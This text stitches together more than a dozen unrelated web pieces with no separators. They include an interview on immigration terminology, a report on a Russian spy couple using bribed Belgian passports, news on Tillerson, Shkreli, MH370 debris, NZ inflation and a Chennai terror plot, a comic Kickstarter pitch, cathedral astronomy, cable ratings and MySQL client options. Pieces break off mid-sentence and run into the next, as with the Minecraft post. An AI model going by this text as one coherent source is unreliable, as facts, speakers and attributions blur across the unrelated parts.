You are really focused on the words used in the debate: undocumented vs. illegal, unaccompanied minors vs. border crashers, and so on. Why do words matter so much in this struggle?Define American has been at the forefront of challenging the language we use to frame the conversation. And using terms like “illegal” and "border crasher” dehumanize people and promote violence and discrimination. They send the message that immigrants are sub-human and undeserving, and they confuse the immigration debate. Parents send children to America for a better life, not to crash some party.
Smuggling bust uncovers over 100 migrants imprisoned in filthy stash house. Read more here.
Words matter because they contextualize the conversation and signify what’s at stake. Can you think of another instance in the American vernacular in which a group of people is called “illegal”? Think. Hard. Among the most tragic things that I discovered in the past three years is how people use the words “illegal” and “Mexican” interchangeably. As if all Mexicans are undocumented. As if all Latinos are Mexicans. As if there’s something wrong with being Latino or Mexican. This is why it’s irresponsible — not to mention inaccurate — for news organizations like the New York Times and the Washington Post, among others, to use that term. Human beings cannot be illegal. The action may be illegal, but not the person.
Did you know when you revealed your undocumented status in that Times article that this is what you were about to get into? You have said that your fame has turned you into something of a privileged exception among undocumented people in this country. Are you ever actually scared it won't always help? Were you scared in Texas last week?It’s been imperative for me to stay grounded and centered on who I am and who I am not: I’m not an organizer. I’m not a leader. There are many activists and advocates who are organizers and leaders and I never claimed to be one of them. I get attacked by the left and the right. I get accused of many things and get called various names from all sides. And that's why being centered and knowing who I am is important. What I am is a writer, a filmmaker, an evolving artist who is striving to be as creatively disruptive as possible — to disrupt the paradigms and stereotypes that we have grown accustomed to when it comes to this issue.
Inaction is unacceptable.
For 14 years — and throughout all my 20s — I practiced journalism by writing and reporting about other people so I didn’t have to face my own life. The past three years I’ve been learning to face myself, all the flaws, the lies, the pain — all of it. It’s also been critical to own up to my privilege but at the same time not be defined by it. I’m the “privileged” person trying to reconnect with a mother whom I have not seen for almost 21 years. I’m the “privileged” immigrant who, the moment I got arrested and handcuffed, all I could think about was calling my grandmother and telling her not to worry. Since outing myself three years ago, I have prepared myself for everything and anything, including deportation. What I did not prepare for was inaction. Inaction is unacceptable.
Follow Alice Speri on Twitter: @alicesperiAccording to several well informed sources, the Russian spy couple got married in Belgium before moving to Italy, where it has supposedly carried out its intelligence activities. The Federal prosecutor’s office confirms the news. The couple, M.E. and I.R., are still in posession of their Belgian passports.
The pre-inquiry by the Belgian Federal prosecutor’s office into forgery, the use of false passports and corruption was launched in 2012 after a tip from the Belgian State Security.
In the past years the State Security has reconstructed the whereabouts and backgrounds of the spy couple M.E. and I.R.
The story could be a scenario for The Americans, the popular espionage series about a couple Russian intelligence officers that used to live in the outskirts of Washington during the eighties: Elizabeth and Philip Jennings and their two children pretended to be a commonplace American family with a job in a travel agency – the perfect cover for their clandestine activities as Russian “illegals”.
The difference is that the tale of spy couple M.E. and I.R. is not Hollywood fiction but reality.
Ultra secret intelligence officers
Foreign secret services operating in Belgium often use classical covers to conceal their espionage activities. Their intelligence officers pose as diplomats, lobbyists, journalists or exchange students. The disadvantage of those covers is that they can easily be spotted by the counter espionage in Brussels – the State Security, the military intelligence SGRS, NATO’s Office of Security, NATO’s Allied Command Counter Intelligence and the security departments of the European Council, Commission and European External Action Service.
Therefore the Russian intelligence services for decades have been using an ultra secret category of intelligence officers, the socalled “illegals”. They live under a complete fake identity, are very hard to trace down and can operate secretly for many years furthering Moscow’s intrests.
An “illegal” is a full time employee of an intelligence service working under fake identity but with a civil legend – so not in the frame of a diplomatic representation. “Illegals” often operate during a long period in a target country.
Within the Russian foreign intelligence service SVR, “Line N” is specialised in setting up covers and legends in order to help infiltrate Russian “illegals” abroad.
Dead double
Documenting the couple M.E. en I.R. already took off at the beginning of the 1960’s. This operation by “Line N” took place in two steps. In the first phase, from the 1960’s until the early 1990’s, falsified documents (e.g. birth and wedding certificates) were collected in several European and Latin American countries. To achieve this, local civil servants have been bribed.
In the second phase, in the early 1990’s, those falsified documents were assembled at Belgian consulates abroad, for the request of authentic Belgian identity documents.
The name of M.E. was inscribed in the birth registry in Uruguay after a civil servant had been bribed.
The Belgian passport of mr M.E. mentions Artigas (in the north of Uruguay) as a birth place. His father allegedly was a Belgian citizen, his mother socalled British. Her identity had been stolen by the Russian intelligence services from a British girl that had died at young age.
Recycling socalled dead doubles is a technique that was used more often in order to create legends. Russian spies are known to have scrutinised cemeteries, looking for “recyclable profiles” – preferably of children who had passed away on a young age and therefore hadn’t left too many public traces behind.
The name of M.E. was inscribed in the birth registry in Uruguay after a civil servant had been bribed.
The fake family tree of lady I.R. has been set up in a similar way. According to her Belgian identity papers, I.R. was born in Ambato, a city in the heart of Ecuador. Her socalled father was a Belgian citizen, her socalled mother Ecuadorian.
Turning a blind eye
Fake identities have been inserted into the Belgian population registry, leaving clear traces behind.
In 1990 and 1992 two Belgian consuls assisted during the final step of the documenting process: fake identities have been inserted into the Belgian population registry, leaving clear traces behind.
Obviously the Russian intelligence services knew all the ins and outs of the Belgian nationality code. When you are born abroad and one of your parents is Belgian e.g., you can request the Belgian nationality once you are 18 years old.
It’s this rule that, according to well informed sources, was used by the Russians to request a Belgian passport for M.E. at the Belgian consulate in Rome (Italy). The passport of I.R. was requested and delivered at the Belgian consulate in Casablanca (Morocco).
The Belgian consuls that collaborated with the Russians during this crucial step in the documentation process, had to turn a blind eye. As a rule, one has to request and pick up one’s new passport personally. The Russians however used go-betweens for the paper work.
The inquiry shows that the then Belgian consul in Casablanca – who now is residing in an elderly home – was bribed. The then Rome consul meanwhile has passed away. His motive for collaborating with Russian intelligence remains unknown.
Double life in Belgium
Once the passports had been delivered in Rome and Casablanca in the early 1990’s, M.E. and I.R. could further elaborate their legend as “Belgian citizens”. They did not have a striking appearance or a typical Slavic physionomy, which made things easier.
From the outset the man and woman started a double life in Belgium seperately from each other
From the outset the man and woman started a double life in Belgium seperately from each other. It is known e.g. that I.R. lived in Belgium a couple of years and also worked there for a while.
The two Russians with falsified Belgian identity got married in Ixelles – a district of Brussels – in the autumn of 2000.
A befriended couple of M.E. and I.R. were the official witnesses of the wedding. Were they aware of which game they were playing in? The discrete collaboration between several Belgian and foreign intelligence and security services has not led to any incriminating information about the witnessess. Apparentely, they do not have any connection to Russian intelligence.
Before moving to Italy – where according to well informed sources they deployed their intelligence activities – the couple rented an appartment in Belgium. Later they had to return back to Belgium every now and then, in order to renew their identity papers.
Prodigies
Which intelligence activities M.E. and I.R. have undertaken in Italy, is currently being investigated by the Italian justice. Through similar cases substantial information on the clandestine activities of Russian “illegals” abroad is available in open sources though.
‘”Illegals” are being seen as prodigies, because they have been chosen and trained very carefully’
In 2011 the German authorities arrested the couple Andreas and Heidrun Anschlag. These Russian “illegals” traveled with falsified Austrian passports and were allegedly born in Argentina and Peru – again Latin American countries.
In Germany the couple has been convicted for espionage against the EU and NATO.
‘”Illegals” are being seen as prodigies, because they have been chosen and trained very carefully’, the German verdict of the Anschlag couple states: ‘They are prepared to live under a false biography for years. For such a coherent legend, verifiable across generations, no efforts are spared. Birth certificates, witnesses, driving licenses and work permits have to be provided. Characteristic for the legends of “illegals” is that they infiltrate the target country through at least one third country. The “illegal” is provided with a fake identity but at the same time with real official documents.’
‘The efforts that are undertaken for the legend are also reflected in the high level of education of the “illegals”. Often they have been chosen already at young age, sometimes even during their studies. Before being sent to the target country, they are being trained three to seven years. During this training, the intelligence officers learn operational communication and behavioural techniques, learn languages and study the target country.’
‘Loyal, trustworthy and faithful’
Also according to the verdict of the Anschlag case, the work of “illegals” is less focused on quick successes, and more on long term deployment. “Illegals” have the reputation of being very loyal, trustworthy and patriottic.’
‘Thanks to their legend and because they can conceal their true origin and identity, they can gain access to information unhindered – without constantly being observed by the counterintelligence.’
Their prior task in target countries, the verdict states, is to run qualitative or sensitive sources with access to information. ‘They can meet those sources without having the risk of being watched. “Illegals” can also play a role in anticipation of recruting informants. They can give give directions as to which people have access to valuable information, or they can provide general environment information.’
Married with children
The pre-inquiry by the Belgian Federal prosecutor’s office is focused on the Russian couple, the Casablanca consul and the people that bribed the consuls at the time.
‘The decision as to who will be prosecuted will only be taken at the end of the inquiry’, spokesperson Jean Thoreau of the Federal prosecutor’s office comments. ‘Currently there is no juge d’instruction in charge of the investigation. This is a pre-inquiry that fully depends on the Federal prosecutor’s office. Meanwhile we have sent rogatories to Italy, the UK and Uruguay.’
Because the offenses date back to 1990 and 1992, prescription might be an issue.
Because the offenses date back to 1990 and 1992, prescription might be an issue. On the other hand, the clandestinely obtained Belgian documents have still been used up to a couple of years ago.
Apart from the penal dimension, the case will also have to be settled administratively. The names of M.E. and I.R. will have to be deleted from the Belgian population registry. An additional problem is that the spy couple meanwhile also has children. Their Belgian nationality can not be revoked.
The current whereabouts of the Russian spy family are unknown. Obviously, they have left Italy in the period that elsewhere in the world networks of Russian “illegals” have been unraveled.Hello!
Let’s get one thing clear: we love it when Minecrafters host servers. Tiny or massive, running vanilla or modded Minecraft, we think they’re all great. Playing with friends in persistent worlds is awesome. Everyone knows that.
Over the past week there’s been lots of discussion about Minecraft servers and your right to monetise them. Legally, you are not allowed |
/YouTube)
For Tillerson, who left his job as Exxon Mobil’s CEO, a premature departure from the Cabinet has seemed increasingly inevitable. When Tillerson was tapped for the job late last year, many Trump critics expressed quiet relief that he’d picked a sober “adult” who could form a counterweight to the president’s brasher, more impulsive approach, especially on critical matters of war and peace. Yet divisions on key foreign policy issues emerged quickly, and Trump has repeatedly undermined Tillerson by voicing positions at odds with his. When Tillerson in June called on Arab nations to ease their blockade on Qatar, Trump hours later lambasted Qatar for funding terrorism. Trump also deemed diplomacy with North Korea a waste of time, when Tillerson was pursuing just that. Tillerson’s advice to Trump to stay in the Paris climate deal and certify Iran’s compliance with the nuclear deal was similarly overruled.
Read more about:Revisionaries is a limited comic series by writer Andrew Adams and artist Nico Sucio. It was launched on Kickstarter last year, and each subsequent issue is being released on the platform.
The Kickstarter’s goal is to raise funds to print issue #2. Any additional funds will go directly to the production of Issue #3.
The Dash Brockmire Pin-Up available at the $40 reward tier
Revisionaries is a raunchy/underground sci-fi comedy about a spineless WW2 soldier who teams up with a group of time travelers hellbent on killing Hitler. The only downside… Is that they’re all idiots, and their adventure is one non-stop disaster of another. It’s “part Heavy Metal (1981), part World War II action, part time travel comedy, with a very slight tinge of Cannibal Holocaust in the middle” (www.thatsnotcurrent.com).
In Issue One, our hero Malachi Ashkenazy was captured by Nazis and saved only by the arrival of our time traveling idiots: the Revisionaries. He soon agreed to guide them to Castle Wewelsburg, where they hope to kill Hitler during a Nazi rally.
In Issue Two, Malachi tries to guide his newfound teammates safely into Germany. But he quickly discovers just how unequipped this band of misfits actually is…
Each issue of Revisionaries features 24 pages of high-energy black-and-white art from Nico Sucio, master of the gross and the raunchy and the underground.
Revisionaries Issue 02, Page 01
Revisionaries Issue 02, Page 02
Revisionaries Issue 02, Page 03
Cecily Jones Pin-Up (available at $60 Reward Tier)
Andrew Adams [writer] is a Los Angeles-based writer and filmmaker. He’s the author of Schismatic and the writer/director behind a Disney XD pilot presentation called The Fixits. He's been reading comics since he was a child, beginning with Bone and Generation X. He currently makes a living writing/directing branded film content (including web commercials and branded narratives), but aspires to work on narrative content full-time (television, film, and comics).
Nico Sucio [artist // Grid Runner, Eat The Shadow] is a comic artist and illustrator from Argentina. He's been making fanzines since 2002, which he then distributes in local comic shops, hardcore-punk gigs and raves. His influences range from classic sci-fi anime to underground European comics to 90s cartoons. His Holy Trinity of style influences are Sam Kieth, John K. and Ryusuke Mita.
Revisionaries is printed in the standard comic size (6.75 in. X 10.25 in.) so that it’ll look right at home on your shelf, with 24 black-and-white pages printed on 60# high bright paper. It is ordered from a print-on-demand company called Ka-Blam.
The 44-page Making Of Booklet available in print at the $25 pledge tier
The Revisionaries team stands by their policy of transparency when it comes to crowdfunding. The funds for this Kickstarter will be used as follows:SUNSET PARK, BROOKLYN – The Pharma Bro has talked himself into hell. Martin Shkreli is being held in Brooklyn's notoriously awful Metropolitan Detention Center after a judge called him a "danger to society" and revoked bail as Shkreli awaited sentencing for a securities fraud conviction. The Sunset Park lock-up that city records show he'll call home until January was described as "third world" by a group of judges who visited the women's wing last year.
Current lawsuits detail appalling conditions and even accuse guards of raping inmates. (For more on this and other neighborhood stories, subscribe to Patch to receive daily newsletters and breaking news alerts.) Shkreli was sent to Metropolitan after a judge heard he'd offered an internet bounty of $5,000 for a lock of Hillary Clinton's hair, which the court ruled was tantamount to requesting an assault.
If he'd kept quiet, any prison sentence he received would likely have been in minimum-security prison camp – a much cushier environment than where he is now, the New York Post reported.
"He's in the worst prison that he'll ever be in, considering the charges he was convicted of," a source told the newspaper. "He really put himself in a bind."
Conditions at the jail are appalling, visitors told the Post. "He's going to be in total shock," Deirdre von Dornum, attorney-in-charge of the Federal Defenders of New York's Eastern District office, told the paper after visiting a client this week.
"It's freezing right now. The inmates are wearing hats and are wrapped in towels to keep themselves warm because (officials) keep the air conditioning up for some reason. In the winter, it often gets very hot."
The Bureau of Prisons is currently involved in a lawsuit filed by inmates who said they were subjected to "conscience-shocking, oppressive, egregious, capricious and dangerous conditions" at the jail, the Post reported.
Sources told the Post that Shkreli was being housed in the "Receiving and Departure Unit" where he would have been strip searched and given health checks. From there, he'd either be moved into the general population or into isolation for his own protection.
"There might be someone who would just want to hurt him," a defense lawyer visiting a client Thursday told the Post.
Image credit: Spencer Platt / Staff / Getty Images NewsI’m sure one of the most annoying things an athlete has to deal with in the social media age is getting a tweet like “C’MON! I NEED 5 POINTS FROM YOU TO WIN MY FANTASY LEAGUE THIS WEEK!” Y’know, as if the player is going to check their Twitter at halftime & say, “Oh, Sammy needs 5 points? I need to get that done for him!”
49ers WR Stevie Johnson took the matter into his own hands yesterday on Twitter.
I drafted many of you to my fantasy work team so make sure to grab me some points today at your workplace. Don't let me down. — Stevie Johnson (@StevieJohnson13) September 24, 2014
In classic Twitter fashion, people had some fun, so did Stevie…
Yess! Need those points. Be smooth SW “@ShaunWyman: @StevieJohnson13 Booked 3 guests today. Each one work 5 points for you. BOOM.” — Stevie Johnson (@StevieJohnson13) September 24, 2014
Earned 5bill points/ minute. Keep fighting “@dcap22803: @StevieJohnson13 working hard to beat the brain tumor. It can't it won't defeat me” — Stevie Johnson (@StevieJohnson13) September 25, 2014
sleeper pick, earned 10 pts/ diaper 💩 “@RedGoldFaithful: @StevieJohnson13 Does changing diapers count? I have already changed 5.” — Stevie Johnson (@StevieJohnson13) September 25, 2014
putting u on my bench “@jaffryan: @StevieJohnson13 hey i broke the copier and got my manager's lunch order wrong. -15 points. sorry dude.” — Stevie Johnson (@StevieJohnson13) September 25, 2014
education = 15 pts “@sexualjumanji: @StevieJohnson13 increased classroom productivity by 5% today outputting at a steady 75% now” — Stevie Johnson (@StevieJohnson13) September 25, 2014
balling #HBHF “@RealChrisCal: @StevieJohnson13 Made killer move calling up to get late fee removed from invoice we never received” — Stevie Johnson (@StevieJohnson13) September 25, 2014
Commissioner moves #HBHF “@_DaveMelton: @StevieJohnson13 Co-worker did 95 percent of the work on this report. I did 5% & put my name on it” — Stevie Johnson (@StevieJohnson13) September 25, 2014
gonna need you to come in Sat & Sunday “@AndrewKam: @StevieJohnson13 I just messed up on a TPS report. My bad, man. -3 work points.” — Stevie Johnson (@StevieJohnson13) September 25, 2014
Signals the Handcuff “@Stephania_ESPN: Hey there @StevieJohnson13. You know I'm always Day-to-Day.” — Stevie Johnson (@StevieJohnson13) September 25, 2014
13 pts “@HMack3: @StevieJohnson13 sold product to 3 accounts, signed a 4th and booked 3 expos in October. All about that sports nutrition $” — Stevie Johnson (@StevieJohnson13) September 25, 2014
There are a lot more on his Twitter feed and they’re just as funny. Twitter can be fun sometimes.Lower petrol prices have pulled back the rate of inflation.
Photo: RNZ / 123RF
The consumer price index (CPI) was flat in the three months ended June, slowing the annual inflation rate to 1.7 percent from 2.2 percent, Statistics NZ said.
A fall in fuel costs and airfares offset higher prices for household basics such as food, rent, and power, while the housing boom lifted the price of a new house.
One of the main drivers of the lower annual rate was cheaper telecommunications products and services.
"Better technology is reflected as an effective price fall, even if the sticker price remains the same," said Statistics NZ's senior prices manager, Jason Attewell.
"Consumers are getting more bang for their buck through better speeds and capacity in their telecommunications plans, and improved features for cellphones, televisions, and laptops."
The relative strength of the New Zealand dollar also helped dampen inflation by making imported goods cheaper.
Housing rentals rose slightly (up 0.4 percent), held down by a 1.6 percent fall for Canterbury.
Prices for newly-built houses, excluding land, rose 1.8 percent this quarter.
Seasonally lower domestic airfares (down 14.5 percent), lower petrol prices (down 1.9 percent or and average 4 cents a litre), and seasonally lower prices for car rentals contributed most to a drop in overall transport costs.
"Holidays were cheaper all round in the June quarter, with prices for accommodation services down 8.1 percent, and package holidays down 1.4 percent," Mr Attewell said.
Higher vegetables prices pushed food inflation up 0.7 percent in the June 2017 quarter to 2 percent for the June 2017 year. Vegetables prices rose 19 percent for the year, with higher prices for lettuce, kumara, and broccoli.
The inflation numbers were below market expectations and Westpac acting chief economist Michael Gordon said that would dampen any notion of interest rate rises by the Reserve Bank in the foreseeable future.
"While the RBNZ has already been on the side of arguing that official cash rate hikes are a long way off, today's result should put a severe dent in market expectations that the RBNZ will be hiking rates by mid-2018."
The Reserve Bank has previously signalled that it expects to keep its cash rate at a record-low 1.75 percent percent at least until late 2019.
The New Zealand dollar fell more than half a cent against the US dollar on the soft numbers.A homeless mother has been arrested for sending her child to a public school in an area where they didn't live.
Tanya McDowell is being charged with first-degree larceny for stealing $15,686 in education funds from the Norwalk, Conn. school district, the Stamford Advocate reports.
McDowell and her 6-year-old son don't have a permanent address, but split their time between a homeless shelter and a friend's apartment in Bridgeport. McDowell, however, used her son's babysitter's address to falsely register him for a Norwalk elementary school.
McDowell's arrest is a startlingly severe punishment for her crime. Most families caught sending children to schools in areas where they don't live are allowed to pull the students from the school without consequence.
The babysitter, Ana Rebecca Marques, is also being punished. She has been evicted from public housing for her role in helping McDowell get her son into the school.
The case is likely being used as an example to deter others from committing the same crime.
According to the Stamford Advocate, Mayor Richard Moccia said of the case,
"This now sends a message to other parents that may have been living in other towns and registering their kids with phony addresses."
Earlier this year, Ohio mother Kelley Williams-Bolar faced similar charges and was convicted of a felony for falsifying records to send her children to a better school.
The two cases highlight the rising trend of school officials trying to weed out students who don't live in their districts.
According to the Associated Press:
Education officials say cases tend to surface more when budgets are tight and in areas where there are significant disparities between districts such as in academic success or local income level -- particularly in wealthier districts near urban areas. That often means the districts in question also have racial disparities.There have been at least five plane parts found since July last year of the ill-fated Malaysian Airlines Flight MH370. Interestingly, all five parts were found to be from the right side of the plane.
The accumulation of parts from the aircraft’s right side is making a number of investigators deduce that Flight MH370 may have changed course under the control of a conscious pilot before going down and crashing.
The latest assumption actually goes against the previous theory made early this year that Flight MH370 might have suffered from a hypoxia event before it crashed, meaning the pilot was unconscious at the controls when it went down in the Indian Ocean.
It was Australian Transport Safety Bureau (ATSB) Chief Martin Dolan who confirmed recently that they are making a last-ditch attempt to re-analyze and rework the assessments on how far Flight MH370 could have flown before coming to a tragic end, reports Free Malaysia Today.
Accordingly, the search zone was calculated from the last automatic signal sent by the ill-fated plane’s engines to a satellite before it disappeared.
The signal revealed that the satellite system had been reset which means that there was a power failure that could be an indication that the plane was running out of fuel.
ATSB also said that the signal did not indicate location data. But a careful review of the time it took the transmission to go back and forth from the satellite has prompted investigators to settle on a 400-mile arc in the Indian Ocean as the possible crash site of Flight MH370.
Still a baffling mystery
After over two years, the full wreckage of the Malaysian Airlines Flight MH370 has yet to be found and continues to baffle not only the search teams and investigators but the rest of the world.
The international search team is now on the final stretch of their work towards solving one of the biggest mysteries in global aviation history, notes The Week of UK.
There have been plenty of theories and assumptions regarding what happened to Flight MH370 but none can be more exciting for the average news reader than the strangest conspiracy theories that made the news since the plane disappeared on March 8, 2014.
Some of the fascinating conspiracy theories about Flight MH370 that have made it to the news include the taking of the plane by North Korea, Russia’s Vladimir Putin hijacking the plane, the plane was on the moon, the plane was shot down by the US military, the disappearance of the plane was a life insurance scam, the plane was abducted by aliens, the CIA was behind its disappearance, and several more but none of them have an ounce of truth to it.
They were more like products of vivid and wild imagination by those who concocted the conspiracy theories.
Not planted discoveries
There have already been five plane parts of the ill-fated Malaysian Airlines Flight MH370 found since July of last year, with the last two just discovered this March – one in Mossel Bay in South Africa and the other in Rodrigues Island in Mauritius.
However, because of the absence of marine life in the new debris that was found, some critics were quick to conclude or offer a theory that those parts of Flight MH370 were planted or intentionally placed in the locations to be found.
One of those who believe in the ‘intentional planting’ theory is a private pilot and freelance writer Jeff Wise. He has already written a book about the ill-fated Flight MH370 and he was quoted as saying last April that since natural means could not have delivered them to the locations where they were discovered, they must have been put there deliberately.
While he did not say it directly, Wise was actually insinuating that the authorities have already found the wreckage and knew the events that transpired leading to the crash of Flight MH370 on March 8, 2014, and they were just covering it up.
However, Dr. Schalk Luckhoff, a retired physician, seemed to have debunked the deliberate planting theory of Wise and several other critics when he posted a photograph of the engine cowling when he first found it in Mossel Bay sometime in December last year.
Follow us on Facebook and TwitterInfo Theme: Medieval astronomy in Europe
Entity: 33
Subentity: 1
Version: 10
Status: PUB
Date: 2012-08-16 22:09:10
Author(s): Stephen McCluskey with contributions by Clive Ruggles
With the construction of the west front, the cathedral obtained its earliest known display of astronomical time—one that the cathedral shares with many other large churches—the carved reliefs depicting the signs of the zodiac and the labours of the months in the bases of the statues flanking the right portal (Fig. 1).
Fig. 1: Occupations of the months and signs of the zodiac, west façade, right portal—May, Gemini; June, Cancer; July, Leo; August, Virgo.
Photograph © Ad Meskens, Creative Commons Licence
The most widely known of these astronomical displays of are the cathedral’s elaborate astronomical clocks. The 14th-century clock included a calendar, a mechanically driven stereographic projection showing the movement of the stars, and pointers showing the positions of the Sun and Moon. Atop the clock was an automaton of a cockerel, which crowed at noon, flapping its wings.
The 16th-century clock added to these elements a rotating celestial sphere on which were depicted all 1020 stars of Ptolemy’s star catalogue together with figures of 48 constellations, a disc showing the ecclesiastical calendar for 100 years, and depictions of all eclipses over an interval of 32 years. A stereographic projection of the stars, Sun and Moon, like the one in the original clock, was enhanced with additional pointers showing the positions of all the visible planets and the Dragon, or lunar node, which served to explain eclipses (Fig. 2). Elements of the case and display were incorporated into the current clock. Although the clock reflected the geocentric model of astronomy, its decoration included a portrait of Nicolas Copernicus.
Fig. 2: Astrolabe planetary dial of the second astronomical clock. Detail from Woodcut by Tobias Stimmer (1574)
The 19th-century clock reflected Copernican astronomical concepts. The geocentric stereographic projection of the Sun, Moon, and planets was replaced by a heliocentric model of the visible planets, plus the Earth and Moon, in the solar system (Fig. 2b). It displayed both uniform civil time and the apparent time indicated by the daily motions of the Sun. The stellar globe now portrayed more than 5000 stars, extending down to faint sixth magnitude ones. In addition, the clock incorporated a perpetual calendar, computing the solar cycle of 28 years, the lunar cycle of 19 years, the date of Easter, and other calendrical parameters traditionally found in ecclesiastical computus.
Fig. 3: Heliocentric planetary dial of the third astronomical clock. Photograph © Didier B (Sam67fr), Creative Commons Licence
The concern with time that we see in the cathedrals clocks also appears in its fourteen sundials, which date from the 13th to the 18th centuries. The oldest sundial, dated between 1225 and 1235, marks seven times of prayer in the course of the day, beginning at dawn and continuing until sunset. The 15th century saw the addition of three more sundials, dividing the day into twelve hours from sunrise to sunset (Fig. 4). In the 16th century, five dials were installed at the platform level of the tower and three mathematical dials, designed by the builder of the second clock, were installed on the gable of the south transept (Fig. 5). The builder of the 19th-century clock, Jean-Baptiste Schwilgué, installed a vertical meridian line inside the entrance to the south transept (Fig. 6), marking local apparent noon to regulate the clock.
Fig. 4: Astrologer with a sundial, south portal. Photograph © Coyau, Creative Commons Licence
Fig. 5: Three sundials on south gable: altitude/azimuth dial (left), vertical sundial (centre), and dial reading hours from sunrise and sunset (right).
Photograph © Jean-Marie Poncelet, Creative Commons Licence
Fig. 6: Schwilligué’s meridian line (detail), inside entrance, south transept. Photograph © Jean-Marie Poncelet, Creative Commons LicenceOnce again, A&E’s “Live PD” landed on top in the Friday cable ratings this week, scoring a 0.6 rating in adults 18-49 with 1.66 million total viewers. However, MSNBC’s “Rachel Maddow Show” scored the highest number of viewers of any program throughout the night with a 0.3 rating and 2.52 million viewers. On The Disney Channel, “The Lion Guard” grabbed a 0.2 for itself.
Sports coverage was rather lacking throughout the night, with ESPN’s coverage of the Wimbledon: Men’s Semi-Finals scoring a 0.2. Spike’s broadcast of the “Bellator MMA 181” special also raked in a 0.2, while “Ancient Aliens” scored a 0.2 as well on The History Channel. Additionally, SyFy’s “Killjoys” held steady with a 0.2 for the second week in a row, and rose slightly in its total viewers to 638,000 this time around.
Top 25 original cable shows among adults 18-49 for Friday, July 14, 2017
Show Net Time Total Viewers (000s) 18-49 rating LIVE PD: 51 LIVE PD A&E 9:00 PM 1,663 0.6 WILLIAMS STREAM ADULT 4:00 AM 728 0.3 WILLIAMS STREAM ADULT 4:15 AM 658 0.3 RACHEL MADDOW SHOW MSNBC 9:00 PM 2,518 0.3 DINERS, DRIVE-INS, & DIVES FOOD 9:00 PM 1,017 0.3 MUTT & STUFF NICKELODEON 9:30 PM 1,165 0.3 PUPPY DOG PALS DISNEY 9:00 PM 1,347 0.3 BEACHFRONT BARGAIN HUNT HOME 9:30 PM 1,398 0.3 DEADLY SINS INVEST 10:00 PM 851 0.3 BEACHFRONT BARGAIN HUNT HOME 9:00 PM 1,325 0.3 MICKEY AND THE ROADSTERS DISNEY 8:30 PM 1,091 0.3 LION GUARD DISNEY 8:00 PM 1,057 0.2 PARDON THE INTERRUPTION ESPN 5:30 PM 585 0.2 TENNIS: WIMBLEDON ESPN 8:00 PM 987 0.2 ANCIENT ALIENS HISTORY 9:00 PM 1,146 0.2 K.C. UNDERCOVER DISNEY 8:30 PM 1,202 0.2 MIGHTY MAGISWORDS CARTOON 4:00 PM 801 0.2 HIGHLY QUESTIONABLE ESPN 4:30 PM 383 0.2 BIZAARDVARK DISNEY 9:00 PM 1,159 0.2 K.C. UNDERCOVER DISNEY 8:00 PM 1,063 0.2 AROUND THE HORN ESPN 5:00 PM 409 0.2 BELLATOR MMA LIVE: 181 SPIKE 9:00 PM 514 0.2 AMERICAS NEWSROOM FOX NEWS 10:00 PM 1,441 0.2 FOX AND FRIENDS FOX NEWS 7:00 AM 1,441 0.2 KILLJOYS SYFY 8:00 PM 638 0.2
Source: The Nielsen Company.Chennai terror plot: Revealing details from Malaysia
India
oi-Vicky
Chennai, Jun 8: The Chennai terror plot was one of the most extensively planned attacks and had ramifications not just in South India, but also in Malaysia and Sri Lanka. While Sakir Hussain, the Sri Lankan national was arrested in Chennai another important operative by the name Muhammad Hussain was held in Malaysia.
However the extradition of Hussain failed as the Malaysia authorities decided to hand him over to Sri Lanka despite the NIA making a request.
Also read: US consulate terror plot: India to seek info from Malaysia
Today the NIA has details of his interrogation that was held in Malaysia and after building up the case further, the agency would seek his extradition from Sri Lanka.
The importance of Muhammad Hussain:
For the moment India will have to be content with just his interrogation report from Malaysia. NIA officials tell OneIndia that Muhammad Hussain is an important player in this plot. He along with Sakir had planned on carrying out a 26/11 styled attack in Chennai in which they planned on bombing consultates and also staging a hostage crisis.
Also read: Why Tamil Nadu has become a paradise for the ISIS
Muhammad Hussain during his interrogation had told the Malaysia police about the entire plot. He refers to Amir Zubair Siddiqui the Pakistan consular officer who was based in Sri Lanka as the mastermind. Hussain also told the Malaysian police that he handed over the role of arranging for the funds.
Suicide bombers:
Hussain said during his interrogation that he had gone to Malaysia to arrange for funds. He was also in touch with two suicide bombers who were supposed to reach Chennai and carry out the attack.
Hussain said that both the suicide bombers were based out of Maldives and he had made arrangements to send them to Chennai. All the money that needed to be paid to the families of the bombers was handled by him, Hussain also says during his interrogation.
Also read: Chennai terror plot- NIA loses their man
He also said that he was also in talks with two other bombers who he wanted to send to Bengaluru. As part of the South India terror plot, the ISI had decided to target both Chennai and Bengaluru.
ISI gateway into South India:
As per the interrogation of Hussain the suicide bombers would first be sent into Chennai. After the bombings, the security mechanism would have gone into a tizzy. At this point in time, more men with AK-47s would be sent to take over several areas and stage a hostage crisis.
There were five men in all who would have been sent into Chennai. While two were from Pakistan the other three were to land from Maldives. Siddiqui had already ensured that two persons from Colombo of Pakistan origin would be sent first to Bengaluru and then would slip in to Chennai.
All these men were trained in Colombo and Maldives respectively, the NIA points out. The ISI had planned on carrying out a series of attacks at the markets in Chennai and then finally take over the American Consulate. They had code named this project as Operation Wedding Hall.
OneIndia News--help, -? Display a help message and exit.
--auto-rehash Enable automatic rehashing. This option is on by default, which enables database, table, and column name completion. Use --disable-auto-rehash to disable rehashing. That causes mysql to start faster, but you must issue the rehash command or its \# shortcut if you want to use name completion. To complete a name, enter the first part and press Tab. If the name is unambiguous, mysql completes it. Otherwise, you can press Tab again to see the possible names that begin with what you have typed so far. Completion does not occur if there is no default database. Note This feature requires a MySQL client that is compiled with the readline library. Typically, the readline library is not available on Windows.
--auto-vertical-output Cause result sets to be displayed vertically if they are too wide for the current window, and using normal tabular format otherwise. (This applies to statements terminated by ; or \G.)
--batch, -B Print results using tab as the column separator, with each row on a new line. With this option, mysql does not use the history file. Batch mode results in nontabular output format and escaping of special characters. Escaping may be disabled by using raw mode; see the description for the --raw option.
--binary-as-hex When this option is given, mysql displays binary data using hexadecimal notation ( 0x value ). This occurs whether the overall output dislay format is tabular, vertical, HTML, or XML. This option was added in MySQL 5.6.37.
--binary-mode This option helps when processing mysqlbinlog output that may contain BLOB values. By default, mysql translates \r
in statement strings to
and interprets \0 as the statement terminator. --binary-mode disables both features. It also disables all mysql commands except charset and delimiter in non-interactive mode (for input piped to mysql or loaded using the source command). This option was added in MySQL 5.6.3.
--bind-address= ip_address On a computer having multiple network interfaces, use this option to select which interface to use for connecting to the MySQL server. This option is supported beginning with MySQL 5.6.1.
--comments, -c Whether to strip or preserve comments in statements sent to the server. The default is --skip-comments (strip comments), enable with --comments (preserve comments).
--compress, -C Compress all information sent between the client and the server if both support compression.
